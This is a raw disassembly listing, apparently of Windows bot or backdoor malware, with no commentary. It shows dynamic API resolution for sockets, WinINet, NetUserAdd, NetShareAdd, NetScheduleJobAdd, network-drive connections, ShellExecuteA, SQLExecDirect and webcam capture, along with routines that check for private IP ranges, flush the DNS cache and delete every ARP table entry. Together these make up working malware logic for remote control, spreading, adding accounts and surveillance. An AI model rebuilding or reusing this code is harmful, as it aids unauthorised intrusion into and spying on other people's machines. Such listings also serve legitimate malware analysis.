near ptr 27D0334h nop mov dword_4E16A8, eax push offset aInet_ntoa ; "inet_ntoa" push [ebp+var_10] nop call near ptr 27D0334h mov dword_4E178C, eax push offset aInet_addr ; "inet_addr" push [ebp+var_10] nop call near ptr 27D0334h mov dword_4E1740, eax push offset aHtons ; "htons" push [ebp+var_10] call near ptr 27D0334h nop mov dword_4E1700, eax push offset aHtonl ; "htonl" push [ebp+var_10] call near ptr 27D0334h nop mov dword_4E16FC, eax push offset aNtohs ; "ntohs" push [ebp+var_10] call near ptr 27D0334h nop mov dword_4E1630, eax push offset aNtohl ; "ntohl" push [ebp+var_10] nop call near ptr 27D0334h mov dword_4E1628, eax push offset aSend_0 ; "send" push [ebp+var_10] nop call near ptr 27D0334h mov dword_4E1750, eax push offset aSendto ; "sendto" push [ebp+var_10] nop call near ptr 27D0334h mov dword_4E1764, eax push offset aRecv ; "recv" push [ebp+var_10] nop call near ptr 27D0334h mov dword_4E1718, eax push offset aRecvfrom ; "recvfrom" push [ebp+var_10] nop call near ptr 27D0334h mov dword_4E16D8, eax push offset aBind ; "bind" push [ebp+var_10] nop call near ptr 27D0334h mov dword_4E172C, eax push offset aSelect ; "select" push [ebp+var_10] nop call near ptr 27D0334h mov dword_4E16E8, eax push offset aListen ; "listen" push [ebp+var_10] nop call near ptr 27D0334h mov dword_4E1728, eax push offset aAccept ; "accept" push [ebp+var_10] nop call near ptr 27D0334h mov dword_4E1794, eax push offset aSetsockopt ; "setsockopt" push [ebp+var_10] nop call near ptr 27D0334h mov dword_4E16E0, eax push offset aGetsockname ; "getsockname" push [ebp+var_10] nop call near ptr 27D0334h mov dword_4E16A4, eax push offset aGethostname ; "gethostname" push [ebp+var_10] nop call near ptr 27D0334h mov dword_4E1714, eax push offset aGethostbyname ; "gethostbyname" push [ebp+var_10] nop call near ptr 27D0334h mov dword_4E1784, eax push offset aGethostbyaddr ; "gethostbyaddr" push [ebp+var_10] nop call near ptr 27D0334h mov dword_4E16B8, eax push offset aGetpeername ; "getpeername" push [ebp+var_10] nop call near ptr 27D0334h mov dword_4E1654, eax push offset aClosesocket ; "closesocket" push [ebp+var_10] call near ptr 27D0334h nop mov dword_4E1798, eax cmp dword_4E1670, 0 jz loc_40BB27 cmp dword_4E17A4, 0 jz loc_40BB27 cmp dword_4E1610, 0 jz loc_40BB27 cmp dword_4E16AC, 0 jz loc_40BB27 cmp dword_4E1694, 0 jz loc_40BB27 cmp dword_4E1658, 0 jz loc_40BB27 cmp dword_4E1780, 0 jz loc_40BB27 cmp dword_4E179C, 0 jz loc_40BB27 cmp dword_4E16A8, 0 jz loc_40BB27 cmp dword_4E178C, 0 jz loc_40BB27 cmp dword_4E1740, 0 jz loc_40BB27 cmp dword_4E1700, 0 jz loc_40BB27 cmp dword_4E16FC, 0 jz loc_40BB27 cmp dword_4E1630, 0 jz short loc_40BB27 cmp dword_4E1750, 0 jz short loc_40BB27 cmp dword_4E1764, 0 jz short loc_40BB27 cmp dword_4E1718, 0 jz short loc_40BB27 cmp dword_4E16D8, 0 jz short loc_40BB27 cmp dword_4E172C, 0 jz short loc_40BB27 cmp dword_4E16E8, 0 jz short loc_40BB27 cmp dword_4E1728, 0 jz short loc_40BB27 cmp dword_4E1794, 0 jz short loc_40BB27 cmp dword_4E16E0, 0 jz short loc_40BB27 cmp dword_4E16A4, 0 jz short loc_40BB27 cmp dword_4E1714, 0 jz short loc_40BB27 cmp dword_4E1784, 0 jz short loc_40BB27 cmp dword_4E16B8, 0 jz short loc_40BB27 cmp dword_4E1798, 0 jnz short loc_40BB31 loc_40BB27: ; CODE XREF: sub_40B0C5+939j ; sub_40B0C5+946j ... mov dword_4E17E0, 1 loc_40BB31: ; CODE XREF: sub_40B0C5+A60j jmp short loc_40BB48 ; --------------------------------------------------------------------------- loc_40BB33: ; CODE XREF: sub_40B0C5+6DFj nop call near ptr 27A0A66h mov dword_4E17E4, eax mov dword_4E17E0, 1 loc_40BB48: ; CODE XREF: sub_40B0C5:loc_40BB31j push offset aWininet_dll ; "wininet.dll" nop call near ptr 27D0000h mov [ebp+var_20], eax cmp [ebp+var_20], 0 jz loc_40BCB5 push offset aInternetgetcon ; "InternetGetConnectedState" push [ebp+var_20] nop call near ptr 27D0334h mov dword_4E163C, eax push offset aInternetgetc_0 ; "InternetGetConnectedStateEx" push [ebp+var_20] call near ptr 27D0334h nop mov dword_4E15C4, eax push offset aHttpopenreques ; "HttpOpenRequestA" push [ebp+var_20] nop call near ptr 27D0334h mov dword_4E16C8, eax push offset aHttpsendreques ; "HttpSendRequestA" push [ebp+var_20] nop call near ptr 27D0334h mov dword_4E1674, eax push offset aInternetconnec ; "InternetConnectA" push [ebp+var_20] nop call near ptr 27D0334h mov dword_4E16D4, eax push offset aInternetopena ; "InternetOpenA" push [ebp+var_20] call near ptr 27D0334h nop mov dword_4E1698, eax push offset aInternetopenur ; "InternetOpenUrlA" push [ebp+var_20] call near ptr 27D0334h nop mov dword_4E1604, eax push offset aInternetcracku ; "InternetCrackUrlA" push [ebp+var_20] nop call near ptr 27D0334h mov dword_4E15FC, eax push offset aInternetreadfi ; "InternetReadFile" push [ebp+var_20] call near ptr 27D0334h nop mov dword_4E160C, eax push offset aInternetcloseh ; "InternetCloseHandle" push [ebp+var_20] call near ptr 27D0334h nop mov dword_4E1734, eax cmp dword_4E163C, 0 jz short loc_40BC78 cmp dword_4E15C4, 0 jz short loc_40BC78 cmp dword_4E16C8, 0 jz short loc_40BC78 cmp dword_4E1674, 0 jz short loc_40BC78 cmp dword_4E16D4, 0 jz short loc_40BC78 cmp dword_4E1698, 0 jz short loc_40BC78 cmp dword_4E1604, 0 jz short loc_40BC78 cmp dword_4E15FC, 0 jz short loc_40BC78 cmp dword_4E160C, 0 jz short loc_40BC78 cmp dword_4E1734, 0 jnz short loc_40BC82 loc_40BC78: ; CODE XREF: sub_40B0C5+B60j ; sub_40B0C5+B69j ... mov dword_4E17E8, 1 loc_40BC82: ; CODE XREF: sub_40B0C5+BB1j cmp dword_4E1698, 0 jz short loc_40BCB3 push 0 push 0 push 0 push 0 push offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)" call dword_4E1698 ; InternetOpenA mov dword_4E16B0, eax cmp dword_4E16B0, 0 jnz short loc_40BCB3 and dword_4E16B0, 0 loc_40BCB3: ; CODE XREF: sub_40B0C5+BC4j ; sub_40B0C5+BE5j jmp short loc_40BCD1 ; --------------------------------------------------------------------------- loc_40BCB5: ; CODE XREF: sub_40B0C5+A95j nop call near ptr 27A0A66h mov dword_4E17EC, eax mov dword_4E17E8, 1 and dword_4E16B0, 0 loc_40BCD1: ; CODE XREF: sub_40B0C5:loc_40BCB3j push offset aIcmp_dll ; "icmp.dll" call near ptr 27D0000h nop mov [ebp+var_38], eax cmp [ebp+var_38], 0 jz short loc_40BD45 push offset aIcmpcreatefile ; "IcmpCreateFile" push [ebp+var_38] nop call near ptr 27D0334h mov dword_4E1688, eax push offset aIcmpclosehandl ; "IcmpCloseHandle" push [ebp+var_38] nop call near ptr 27D0334h mov dword_4E17B8, eax push offset aIcmpsendecho ; "IcmpSendEcho" push [ebp+var_38] call near ptr 27D0334h nop mov dword_4E1618, eax cmp dword_4E1688, 0 jz short loc_40BD39 cmp dword_4E17B8, 0 jz short loc_40BD39 cmp dword_4E1618, 0 jnz short loc_40BD43 loc_40BD39: ; CODE XREF: sub_40B0C5+C60j ; sub_40B0C5+C69j mov dword_4E17F0, 1 loc_40BD43: ; CODE XREF: sub_40B0C5+C72j jmp short loc_40BD5A ; --------------------------------------------------------------------------- loc_40BD45: ; CODE XREF: sub_40B0C5+C1Ej nop call near ptr 27A0A66h mov dword_4E17F4, eax mov dword_4E17F0, 1 loc_40BD5A: ; CODE XREF: sub_40B0C5:loc_40BD43j push offset aNetapi32_dll ; "netapi32.dll" call near ptr 27D0000h nop mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz loc_40BEC5 push offset aNetshareadd ; "NetShareAdd" push [ebp+var_8] nop call near ptr 27D0334h mov dword_4E15F4, eax push offset aNetsharedel ; "NetShareDel" push [ebp+var_8] nop call near ptr 27D0334h mov dword_4E15CC, eax push offset aNetshareenum ; "NetShareEnum" push [ebp+var_8] nop call near ptr 27D0334h mov dword_4E1644, eax push offset aNetschedulejob ; "NetScheduleJobAdd" push [ebp+var_8] call near ptr 27D0334h nop mov dword_4E1678, eax push offset aNetapibufferfr ; "NetApiBufferFree" push [ebp+var_8] nop call near ptr 27D0334h mov dword_4E1790, eax push offset aNetremotetod ; "NetRemoteTOD" push [ebp+var_8] nop call near ptr 27D0334h mov dword_4E162C, eax push offset aNetuseradd ; "NetUserAdd" push [ebp+var_8] nop call near ptr 27D0334h mov dword_4E15D8, eax push offset aNetuserdel ; "NetUserDel" push [ebp+var_8] nop call near ptr 27D0334h mov dword_4E15C8, eax push offset aNetuserenum ; "NetUserEnum" push [ebp+var_8] nop call near ptr 27D0334h mov dword_4E1660, eax push offset aNetusergetinfo ; "NetUserGetInfo" push [ebp+var_8] nop call near ptr 27D0334h mov dword_4E1758, eax push offset aNetmessagebuff ; "NetMessageBufferSend" push [ebp+var_8] nop call near ptr 27D0334h mov dword_4E1710, eax push offset aNetwkstagetinf ; "NetWkstaGetInfo" push [ebp+var_8] call near ptr 27D0334h nop mov dword_4E1634, eax cmp dword_4E15F4, 0 jz short loc_40BEB9 cmp dword_4E15CC, 0 jz short loc_40BEB9 cmp dword_4E1644, 0 jz short loc_40BEB9 cmp dword_4E1678, 0 jz short loc_40BEB9 cmp dword_4E1790, 0 jz short loc_40BEB9 cmp dword_4E162C, 0 jz short loc_40BEB9 cmp dword_4E15D8, 0 jz short loc_40BEB9 cmp dword_4E15C8, 0 jz short loc_40BEB9 cmp dword_4E1660, 0 jz short loc_40BEB9 cmp dword_4E1758, 0 jz short loc_40BEB9 cmp dword_4E1710, 0 jnz short loc_40BEC3 loc_40BEB9: ; CODE XREF: sub_40B0C5+D98j ; sub_40B0C5+DA1j ... mov dword_4E17F8, 1 loc_40BEC3: ; CODE XREF: sub_40B0C5+DF2j jmp short loc_40BEDA ; --------------------------------------------------------------------------- loc_40BEC5: ; CODE XREF: sub_40B0C5+CA7j nop call near ptr 27A0A66h mov dword_4E17FC, eax mov dword_4E17F8, 1 loc_40BEDA: ; CODE XREF: sub_40B0C5:loc_40BEC3j push offset aDnsapi_dll ; "dnsapi.dll" nop call near ptr 27D0000h mov [ebp+var_30], eax cmp [ebp+var_30], 0 jz short loc_40BF32 push offset aDnsflushresolv ; "DnsFlushResolverCache" push [ebp+var_30] nop call near ptr 27D0334h mov dword_4E161C, eax push offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A" push [ebp+var_30] call near ptr 27D0334h nop mov dword_4E16F8, eax cmp dword_4E161C, 0 jz short loc_40BF26 cmp dword_4E16F8, 0 jnz short loc_40BF30 loc_40BF26: ; CODE XREF: sub_40B0C5+E56j mov dword_4E1800, 1 loc_40BF30: ; CODE XREF: sub_40B0C5+E5Fj jmp short loc_40BF47 ; --------------------------------------------------------------------------- loc_40BF32: ; CODE XREF: sub_40B0C5+E27j nop call near ptr 27A0A66h mov dword_4E1804, eax mov dword_4E1800, 1 loc_40BF47: ; CODE XREF: sub_40B0C5:loc_40BF30j push offset aIphlpapi_dll ; "iphlpapi.dll" nop call near ptr 27D0000h mov [ebp+var_C], eax cmp [ebp+var_C], 0 jz short loc_40BF9F push offset aGetipnettable ; "GetIpNetTable" push [ebp+var_C] nop call near ptr 27D0334h mov dword_4E177C, eax push offset aDeleteipnetent ; "DeleteIpNetEntry" push [ebp+var_C] nop call near ptr 27D0334h mov dword_4E1778, eax cmp dword_4E177C, 0 jz short loc_40BF93 cmp dword_4E1778, 0 jnz short loc_40BF9D loc_40BF93: ; CODE XREF: sub_40B0C5+EC3j mov dword_4E1808, 1 loc_40BF9D: ; CODE XREF: sub_40B0C5+ECCj jmp short loc_40BFB4 ; --------------------------------------------------------------------------- loc_40BF9F: ; CODE XREF: sub_40B0C5+E94j nop call near ptr 27A0A66h mov dword_4E180C, eax mov dword_4E1808, 1 loc_40BFB4: ; CODE XREF: sub_40B0C5:loc_40BF9Dj push offset aMpr_dll ; "mpr.dll" nop call near ptr 27D0000h mov [ebp+var_14], eax cmp [ebp+var_14], 0 jz short loc_40C044 push offset aWnetaddconnect ; "WNetAddConnection2A" push [ebp+var_14] nop call near ptr 27D0334h mov dword_4E17A8, eax push offset aWnetaddconne_0 ; "WNetAddConnection2W" push [ebp+var_14] call near ptr 27D0334h nop mov dword_4E17A0, eax push offset aWnetcancelconn ; "WNetCancelConnection2A" push [ebp+var_14] nop call near ptr 27D0334h mov dword_4E1768, eax push offset aWnetcancelco_0 ; "WNetCancelConnection2W" push [ebp+var_14] call near ptr 27D0334h nop mov dword_4E1638, eax cmp dword_4E17A8, 0 jz short loc_40C038 cmp dword_4E17A0, 0 jz short loc_40C038 cmp dword_4E1768, 0 jz short loc_40C038 cmp dword_4E1638, 0 jnz short loc_40C042 loc_40C038: ; CODE XREF: sub_40B0C5+F56j ; sub_40B0C5+F5Fj ... mov dword_4E1810, 1 loc_40C042: ; CODE XREF: sub_40B0C5+F71j jmp short loc_40C059 ; --------------------------------------------------------------------------- loc_40C044: ; CODE XREF: sub_40B0C5+F01j call near ptr 27A0A66h nop mov dword_4E1814, eax mov dword_4E1810, 1 loc_40C059: ; CODE XREF: sub_40B0C5:loc_40C042j push offset aShell32_dll ; "shell32.dll" nop call near ptr 27D0000h mov [ebp+var_1C], eax cmp [ebp+var_1C], 0 jz short loc_40C0B1 push offset aShellexecutea ; "ShellExecuteA" push [ebp+var_1C] nop call near ptr 27D0334h mov dword_4E166C, eax push offset aShchangenotify ; "SHChangeNotify" push [ebp+var_1C] call near ptr 27D0334h nop mov dword_4E1774, eax cmp dword_4E166C, 0 jz short loc_40C0A5 cmp dword_4E1774, 0 jnz short loc_40C0AF loc_40C0A5: ; CODE XREF: sub_40B0C5+FD5j mov dword_4E1818, 1 loc_40C0AF: ; CODE XREF: sub_40B0C5+FDEj jmp short loc_40C0C6 ; --------------------------------------------------------------------------- loc_40C0B1: ; CODE XREF: sub_40B0C5+FA6j nop call near ptr 27A0A66h mov dword_4E181C, eax mov dword_4E1818, 1 loc_40C0C6: ; CODE XREF: sub_40B0C5:loc_40C0AFj push offset aOdbc32_dll ; "odbc32.dll" nop call near ptr 27D0000h mov [ebp+var_2C], eax cmp [ebp+var_2C], 0 jz loc_40C192 push offset aSqldriverconne ; "SQLDriverConnect" push [ebp+var_2C] nop call near ptr 27D0334h mov dword_4E173C, eax push offset aSqlsetenvattr ; "SQLSetEnvAttr" push [ebp+var_2C] nop call near ptr 27D0334h mov dword_4E1788, eax push offset aSqlexecdirect ; "SQLExecDirect" push [ebp+var_2C] call near ptr 27D0334h nop mov dword_4E16C4, eax push offset aSqlallochandle ; "SQLAllocHandle" push [ebp+var_2C] nop call near ptr 27D0334h mov dword_4E167C, eax push offset aSqlfreehandle ; "SQLFreeHandle" push [ebp+var_2C] nop call near ptr 27D0334h mov dword_4E171C, eax push offset aSqldisconnect ; "SQLDisconnect" push [ebp+var_2C] nop call near ptr 27D0334h mov dword_4E168C, eax cmp dword_4E173C, 0 jz short loc_40C186 cmp dword_4E1788, 0 jz short loc_40C186 cmp dword_4E16C4, 0 jz short loc_40C186 cmp dword_4E167C, 0 jz short loc_40C186 cmp dword_4E171C, 0 jz short loc_40C186 cmp dword_4E168C, 0 jnz short loc_40C190 loc_40C186: ; CODE XREF: sub_40B0C5+1092j ; sub_40B0C5+109Bj ... mov dword_4E1820, 1 loc_40C190: ; CODE XREF: sub_40B0C5+10BFj jmp short loc_40C1A7 ; --------------------------------------------------------------------------- loc_40C192: ; CODE XREF: sub_40B0C5+1013j nop call near ptr 27A0A66h mov dword_4E1824, eax mov dword_4E1820, 1 loc_40C1A7: ; CODE XREF: sub_40B0C5:loc_40C190j push offset aAvicap32_dll ; "avicap32.dll" call near ptr 27D0000h nop mov [ebp+var_18], eax cmp [ebp+var_18], 0 jz short loc_40C1FF push offset aCapcreatecaptu ; "capCreateCaptureWindowA" push [ebp+var_18] call near ptr 27D0334h nop mov dword_4E1650, eax push offset aCapgetdriverde ; "capGetDriverDescriptionA" push [ebp+var_18] nop call near ptr 27D0334h mov dword_4E1730, eax cmp dword_4E1650, 0 jz short loc_40C1F3 cmp dword_4E1730, 0 jnz short loc_40C1FD loc_40C1F3: ; CODE XREF: sub_40B0C5+1123j mov dword_4E1828, 1 loc_40C1FD: ; CODE XREF: sub_40B0C5+112Cj jmp short loc_40C214 ; --------------------------------------------------------------------------- loc_40C1FF: ; CODE XREF: sub_40B0C5+10F4j call near ptr 27A0A66h nop mov dword_4E182C, eax mov dword_4E1828, 1 loc_40C214: ; CODE XREF: sub_40B0C5:loc_40C1FDj push 1 pop eax leave retn sub_40B0C5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C219 proc near ; CODE XREF: sub_4021E5+3071p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 200h cmp dword_4E17C0, 0 jz short loc_40C25F push dword_4E17C4 push offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>" lea eax, [ebp+var_200] push eax call sub_4219C0 add esp, 0Ch push 0 push [ebp+arg_8] lea eax, [ebp+var_200] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40B00F add esp, 14h loc_40C25F: ; CODE XREF: sub_40C219+10j cmp dword_4E17C8, 0 jz short loc_40C29C push dword_4E17CC push offset aUser32_dllFail ; "User32.dll failed. <%d>" lea eax, [ebp+var_200] push eax call sub_4219C0 add esp, 0Ch push 0 push [ebp+arg_8] lea eax, [ebp+var_200] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40B00F add esp, 14h loc_40C29C: ; CODE XREF: sub_40C219+4Dj cmp dword_4E17D0, 0 jz short loc_40C2D9 push dword_4E17D4 push offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>" lea eax, [ebp+var_200] push eax call sub_4219C0 add esp, 0Ch push 0 push [ebp+arg_8] lea eax, [ebp+var_200] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40B00F add esp, 14h loc_40C2D9: ; CODE XREF: sub_40C219+8Aj cmp dword_4E17D8, 0 jz short loc_40C316 push dword_4E17DC push offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>" lea eax, [ebp+var_200] push eax call sub_4219C0 add esp, 0Ch push 0 push [ebp+arg_8] lea eax, [ebp+var_200] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40B00F add esp, 14h loc_40C316: ; CODE XREF: sub_40C219+C7j cmp dword_4E17E0, 0 jz short loc_40C353 push dword_4E17E4 push offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>" lea eax, [ebp+var_200] push eax call sub_4219C0 add esp, 0Ch push 0 push [ebp+arg_8] lea eax, [ebp+var_200] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40B00F add esp, 14h loc_40C353: ; CODE XREF: sub_40C219+104j cmp dword_4E17E8, 0 jz short loc_40C390 push dword_4E17EC push offset aWininet_dllFai ; "Wininet.dll failed. <%d>" lea eax, [ebp+var_200] push eax call sub_4219C0 add esp, 0Ch push 0 push [ebp+arg_8] lea eax, [ebp+var_200] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40B00F add esp, 14h loc_40C390: ; CODE XREF: sub_40C219+141j cmp dword_4E17F0, 0 jz short loc_40C3CD push dword_4E17F4 push offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>" lea eax, [ebp+var_200] push eax call sub_4219C0 add esp, 0Ch push 0 push [ebp+arg_8] lea eax, [ebp+var_200] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40B00F add esp, 14h loc_40C3CD: ; CODE XREF: sub_40C219+17Ej cmp dword_4E17F8, 0 jz short loc_40C40A push dword_4E17FC push offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>" lea eax, [ebp+var_200] push eax call sub_4219C0 add esp, 0Ch push 0 push [ebp+arg_8] lea eax, [ebp+var_200] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40B00F add esp, 14h loc_40C40A: ; CODE XREF: sub_40C219+1BBj cmp dword_4E1800, 0 jz short loc_40C447 push dword_4E1804 push offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>" lea eax, [ebp+var_200] push eax call sub_4219C0 add esp, 0Ch push 0 push [ebp+arg_8] lea eax, [ebp+var_200] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40B00F add esp, 14h loc_40C447: ; CODE XREF: sub_40C219+1F8j cmp dword_4E1808, 0 jz short loc_40C484 push dword_4E180C push offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>" lea eax, [ebp+var_200] push eax call sub_4219C0 add esp, 0Ch push 0 push [ebp+arg_8] lea eax, [ebp+var_200] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40B00F add esp, 14h loc_40C484: ; CODE XREF: sub_40C219+235j cmp dword_4E1810, 0 jz short loc_40C4C1 push dword_4E1814 push offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>" lea eax, [ebp+var_200] push eax call sub_4219C0 add esp, 0Ch push 0 push [ebp+arg_8] lea eax, [ebp+var_200] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40B00F add esp, 14h loc_40C4C1: ; CODE XREF: sub_40C219+272j cmp dword_4E1818, 0 jz short loc_40C4FE push dword_4E181C push offset aShell32_dllFai ; "Shell32.dll failed. <%d>" lea eax, [ebp+var_200] push eax call sub_4219C0 add esp, 0Ch push 0 push [ebp+arg_8] lea eax, [ebp+var_200] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40B00F add esp, 14h loc_40C4FE: ; CODE XREF: sub_40C219+2AFj cmp dword_4E1820, 0 jz short loc_40C53B push dword_4E1824 push offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>" lea eax, [ebp+var_200] push eax call sub_4219C0 add esp, 0Ch push 0 push [ebp+arg_8] lea eax, [ebp+var_200] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40B00F add esp, 14h loc_40C53B: ; CODE XREF: sub_40C219+2ECj cmp dword_4E1828, 0 jz short loc_40C578 push dword_4E182C push offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>" lea eax, [ebp+var_200] push eax call sub_4219C0 add esp, 0Ch push 0 push [ebp+arg_8] lea eax, [ebp+var_200] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40B00F add esp, 14h loc_40C578: ; CODE XREF: sub_40C219+329j push offset unk_444FF4 lea eax, [ebp+var_200] push eax call sub_4219C0 pop ecx pop ecx cmp [ebp+arg_C], 0 jnz short loc_40C5AB push 0 push [ebp+arg_8] lea eax, [ebp+var_200] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40B00F add esp, 14h loc_40C5AB: ; CODE XREF: sub_40C219+376j lea eax, [ebp+var_200] push eax call sub_4173DC pop ecx leave retn sub_40C219 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 2Ch cmp dword ptr [ebp+8], 0 jz loc_40C66C push offset dword_4E1844 push dword ptr [ebp+8] call sub_422740 pop ecx pop ecx test eax, eax jz loc_40C66C push 20h push dword ptr [ebp+8] lea eax, [ebp-24h] push eax call sub_421470 add esp, 0Ch push offset a__3 ; "." lea eax, [ebp-24h] push eax call sub_4227D0 pop ecx pop ecx mov [ebp-4], eax cmp dword ptr [ebp-4], 0 jz short loc_40C66C push dword ptr [ebp-4] call sub_421670 pop ecx mov [ebp-28h], eax push offset a__4 ; "." push 0 call sub_4227D0 pop ecx pop ecx mov [ebp-4], eax cmp dword ptr [ebp-4], 0 jz short loc_40C66C push dword ptr [ebp-4] call sub_421670 pop ecx mov [ebp-2Ch], eax cmp dword ptr [ebp-28h], 0Ah jz short loc_40C667 cmp dword ptr [ebp-28h], 0ACh jnz short loc_40C655 cmp dword ptr [ebp-2Ch], 0Fh jle short loc_40C655 cmp dword ptr [ebp-2Ch], 20h jl short loc_40C667 loc_40C655: ; CODE XREF: .XComp0:0040C647j ; .XComp0:0040C64Dj cmp dword ptr [ebp-28h], 0C0h jnz short loc_40C66C cmp dword ptr [ebp-2Ch], 0A8h jnz short loc_40C66C loc_40C667: ; CODE XREF: .XComp0:0040C63Ej ; .XComp0:0040C653j push 1 pop eax jmp short locret_40C66E ; --------------------------------------------------------------------------- loc_40C66C: ; CODE XREF: .XComp0:0040C5C4j ; .XComp0:0040C5DBj ... xor eax, eax locret_40C66E: ; CODE XREF: .XComp0:0040C66Aj leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C670 proc near ; CODE XREF: sub_401DEC+6Ap ; sub_4021E5+7E66p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx push [ebp+arg_0] call dword_4E1740 ; inet_addr mov [ebp+var_4], eax cmp [ebp+var_4], 0FFFFFFFFh jnz short loc_40C6AB push [ebp+arg_0] call dword_4E1784 ; gethostbyname mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_40C69E or eax, 0FFFFFFFFh jmp short locret_40C6AE ; --------------------------------------------------------------------------- loc_40C69E: ; CODE XREF: sub_40C670+27j mov eax, [ebp+var_8] mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] mov [ebp+var_4], eax loc_40C6AB: ; CODE XREF: sub_40C670+15j mov eax, [ebp+var_4] locret_40C6AE: ; CODE XREF: sub_40C670+2Cj leave retn sub_40C670 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C6B0 proc near ; CODE XREF: sub_401DEC+128p var_4 = dword ptr -4 push ebp mov ebp, esp push ecx and [ebp+var_4], 0 cmp dword_4E161C, 0 jz short loc_40C6CA call dword_4E161C ; DnsFlushResolverCache mov [ebp+var_4], eax loc_40C6CA: ; CODE XREF: sub_40C6B0+Fj mov eax, [ebp+var_4] leave retn sub_40C6B0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C6CF proc near ; CODE XREF: sub_4021E5:loc_405581p var_98 = dword ptr -98h var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = byte ptr -8Ch var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 98h and [ebp+var_90], 0 and [ebp+var_C], 0 mov [ebp+var_8], 1 push 1 lea eax, [ebp+var_C] push eax push 0 call dword_4E177C ; GetIpNetTable mov [ebp+var_4], eax mov eax, [ebp+var_4] mov [ebp+var_98], eax cmp [ebp+var_98], 0 jz short loc_40C738 cmp [ebp+var_98], 32h jz loc_40C7D2 cmp [ebp+var_98], 7Ah jz short loc_40C73D cmp [ebp+var_98], 0E8h jz loc_40C7B9 jmp loc_40C7EB ; --------------------------------------------------------------------------- loc_40C738: ; CODE XREF: sub_40C6CF+3Cj jmp loc_40C806 ; --------------------------------------------------------------------------- loc_40C73D: ; CODE XREF: sub_40C6CF+52j push [ebp+var_C] call sub_41EDA0 pop ecx mov [ebp+var_90], eax push [ebp+var_C] push 0 push [ebp+var_90] call sub_421410 add esp, 0Ch cmp [ebp+var_90], 0 jz short loc_40C7A0 push 1 lea eax, [ebp+var_C] push eax push [ebp+var_90] call dword_4E177C ; GetIpNetTable mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_40C79E push [ebp+var_4] push offset unk_44501C lea eax, [ebp+var_8C] push eax call sub_4219C0 add esp, 0Ch and [ebp+var_8], 0 loc_40C79E: ; CODE XREF: sub_40C6CF+B2j jmp short loc_40C7B7 ; --------------------------------------------------------------------------- loc_40C7A0: ; CODE XREF: sub_40C6CF+97j push offset unk_445048 lea eax, [ebp+var_8C] push eax call sub_4219C0 pop ecx pop ecx and [ebp+var_8], 0 loc_40C7B7: ; CODE XREF: sub_40C6CF:loc_40C79Ej jmp short loc_40C806 ; --------------------------------------------------------------------------- loc_40C7B9: ; CODE XREF: sub_40C6CF+5Ej push offset unk_445078 lea eax, [ebp+var_8C] push eax call sub_4219C0 pop ecx pop ecx and [ebp+var_8], 0 jmp short loc_40C806 ; --------------------------------------------------------------------------- loc_40C7D2: ; CODE XREF: sub_40C6CF+45j push offset unk_44509C lea eax, [ebp+var_8C] push eax call sub_4219C0 pop ecx pop ecx and [ebp+var_8], 0 jmp short loc_40C806 ; --------------------------------------------------------------------------- loc_40C7EB: ; CODE XREF: sub_40C6CF+64j push [ebp+var_4] push offset unk_4450CC lea eax, [ebp+var_8C] push eax call sub_4219C0 add esp, 0Ch and [ebp+var_8], 0 loc_40C806: ; CODE XREF: sub_40C6CF:loc_40C738j ; sub_40C6CF:loc_40C7B7j ... cmp [ebp+var_8], 0 jz short loc_40C850 and [ebp+var_94], 0 jmp short loc_40C822 ; --------------------------------------------------------------------------- loc_40C815: ; CODE XREF: sub_40C6CF+17Dj mov eax, [ebp+var_94] inc eax mov [ebp+var_94], eax loc_40C822: ; CODE XREF: sub_40C6CF+144j mov eax, [ebp+var_90] mov ecx, [ebp+var_94] cmp ecx, [eax] jnb short loc_40C84E mov eax, [ebp+var_94] imul eax, 18h mov ecx, [ebp+var_90] lea eax, [ecx+eax+4] push eax call dword_4E1778 ; DeleteIpNetEntry jmp short loc_40C815 ; --------------------------------------------------------------------------- loc_40C84E: ; CODE XREF: sub_40C6CF+161j jmp short loc_40C85D ; --------------------------------------------------------------------------- loc_40C850: ; CODE XREF: sub_40C6CF+13Bj lea eax, [ebp+var_8C] push eax call sub_4173DC pop ecx loc_40C85D: ; CODE XREF: sub_40C6CF:loc_40C84Ej 